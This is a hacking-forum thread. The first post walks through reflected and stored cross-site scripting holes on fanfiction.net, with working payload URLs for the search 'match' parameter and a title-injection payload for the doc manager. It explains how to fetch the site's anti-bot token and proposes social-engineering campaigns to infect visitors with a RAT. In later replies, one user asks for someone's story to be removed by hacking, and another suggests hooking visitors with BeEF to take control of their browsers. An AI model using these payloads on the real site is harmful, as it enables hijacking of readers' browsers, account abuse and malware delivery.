

Forum:[Hack Forums](#)

Thread: [XSS Vulnerabilities in FanFiction.Net](#)

grokx0 - October 29, 2018, 9:37 am

Greetings,

some random newbie here. Some of you may know the website fanfiction.net which hosts over a million fanfictions or so. This website had an unfortunate run with a stored xss exploit in the profile not long ago (you could do a HTML injection with the list element at the time), of course it is pretty much locked tight because of this, however there are many more vulnerabilities to find.

One of such, is a reflected xss vulnerability which occurs when the web server takes a non-sanitized input as a parameter and loads it on the page.

Code

```
fanfiction.net/search/?keywords=Harry+Potter&type=story&match=%3C/script%3E%3Cscript%3Econfirm();//&formatid=any&sort=0&genreid1=0&genreid2=0&characterid1=0&characterid2=0&characterid3=0&characterid4=0&words=0&ready=1&categoryid=0
```

See the "match" parameter?

Code `&match=%3C/script%3E%3Cscript%3Econfirm();//`

This is our attack vector to inject JavaScript into the page. The `</script>` is there to "escape out of the box" and bypass the escape slash if you use the quotes. Then `<script>` will connect to the `</script>` at the end and form a valid script tag while the `//` are there to comment out the quote and the semicolon which ends the string for the variable.

We can use the element inspector of our browser to manipulate the GET request and its parameters to our liking.

Final result of our reflected xss injection. It will call the confirm function which gives us a message box similar to the alert box.

Code `var ff_keywords = "Harry Potter";`

```
var ff_categoryid = "0";
var ff_genreid1 = "0";
var ff_genreid2 = "0";
var ff_languageid = "0";
var ff_censorid = "0";
var ff_statusid = "0";
var ff_sort = "0";
var ff_page = "1";
var ff_type = "story";
var ff_match = "";
```

The JavaScript variable `ff_match` is where our input is stored.

Code `<script>`

```
var ff_keywords = "Harry Potter";
```

```

var ff_categoryid = "0";
var ff_genreid1 = "0";
var ff_genreid2 = "0";
var ff_languageid = "0";
var ff_censorid = "0";
var ff_statusid = "0";
var ff_sort = "0";
var ff_page = "1";
var ff_type = "story";
var ff_match = "
</script>
<script>
confirm();//";

```

...
Code

fanfiction.net/search/?keywords=Harry+Potter&type=story&match=%3C/script%3Econfirm();//&formatid=any&sort=0&genreid1=0&genreid2=0&characterid1=0&characterid2=0&characterid3=0&characterid4=0&words=0&ready=1&categoryid=0With this we broke the page which is now open for exploitation.

Additionally, every link which leads to the next page is compromised with this reflected xss:

Code <a

```

href="?ready=1&keywords=Harry+Potter&type=story&match=
</script><script>confirm();//&sort=0&ppage=2">2</a>Code <a
href="?ready=1&keywords=Harry+Potter&type=story&match=
</script><script>confirm();//&sort=0&ppage=3">3</a>

```

Onto the stored xss vulnerability I found. Basically, this is just a vulnerability where your XSS payload is stored on the server of the website.

If you are familiar with FFN, then the doc manager would mean something to you, if not: Essentially it is a manager (duh) for storing your fanfictions as a middleman before you can publish it onto the site. It is, of course, pretty much vulnerable.

FFN does not sanitize your "title" for the upload which means you could inject tags into it, but of course you need to "escape out of the boundaries" first.

See, the anchor tags hold our input for the title which means we can just use a to end that prematurely.

You have this:

Code your title

That is the content of upload. Of course, before we can do anything per GET or POST requests, we would need the "cty" value. They added it to "stop bots"...

You can find it on the page of the doc manager and if you do it per python for example, you can just do a GET request to the doc manager php and get cty value out there before you do a POST request (the cty is added for every POST requests which handles the account management).

And here is the promised injection:

Code `</a><script>confirm();</script>//` which transforms the html source to this:

Code `<a href="blahblah"></a><script>confirm();</script>//`

As you can see, we broke out of the anchor tag and could inject the xss payload into it. Now it is stored for 365 days, ? FFN.

What could you do with this knowledge of the vulnerabilities?

With a targeted social engineering campaign, you could fruitfully harvest victims for your RAT for example. If you can inject JavaScript, then you could use that as a beachhead to inject other exploits.

The xss-payload site, for example, hosts many payloads you could use for such. Or you can craft your own.

If you have questions, you can PM or so. I hope I explained it sufficiently enough and please excuse me for the missing images (need to have 50 posts lol).

jhonstevekindom - July 30, 2020, 10:42 am

yo can you hack a fanfic id for me i kinda need that persons story removed coz i used some of his data and i dont want him to fuck my story so pls bro if you can then reply me k

Semmenial - July 30, 2020, 2:05 pm

Great display and explanation of the vulnerability. I'm looking forward to seeing more posts from you in this area :D.

Madkatter - August 22, 2020, 7:52 pm

Hi, i am confused slightly, as im trying to understand this vulnerability. Does this mean you can hack into the FFN systems sort of undetected and get rid of users/stories on the site? Or am i misunderstanding. It seems you can change the script of the story or upload, which tells me you can overall also get rid of it, which makes me wonder does this vulnerability help in getting rid of users? And if so, is this easy to learn, as i would like to learn how to do this to help better the site.

Argonaut.exe - August 22, 2020, 9:58 pm

(Aug 22, 2020 07:52 PM)Madkatter Wrote: [\[CITE\]](#) Hi, i am confused slightly, as im trying to understand this vulnerability. Does this mean you can hack into the FFN systems sort of undetected and get rid of users/stories on the site? Or am i misunderstanding. It seems you can change the script of the story or upload, which tells me you can overall also get rid of it, which makes me wonder does this vulnerability help in getting rid of users? And if so, is this easy to learn, as i would like to learn how to do this to help better the site.

With the stored XSS you could use a framework like BeeF (installed by default in kali) to add a link reference to an Hook.js

This hook would allow you to take control of someone visiting that page, there are several ways to get persistence and a lot of ways to induce a visitor to install something.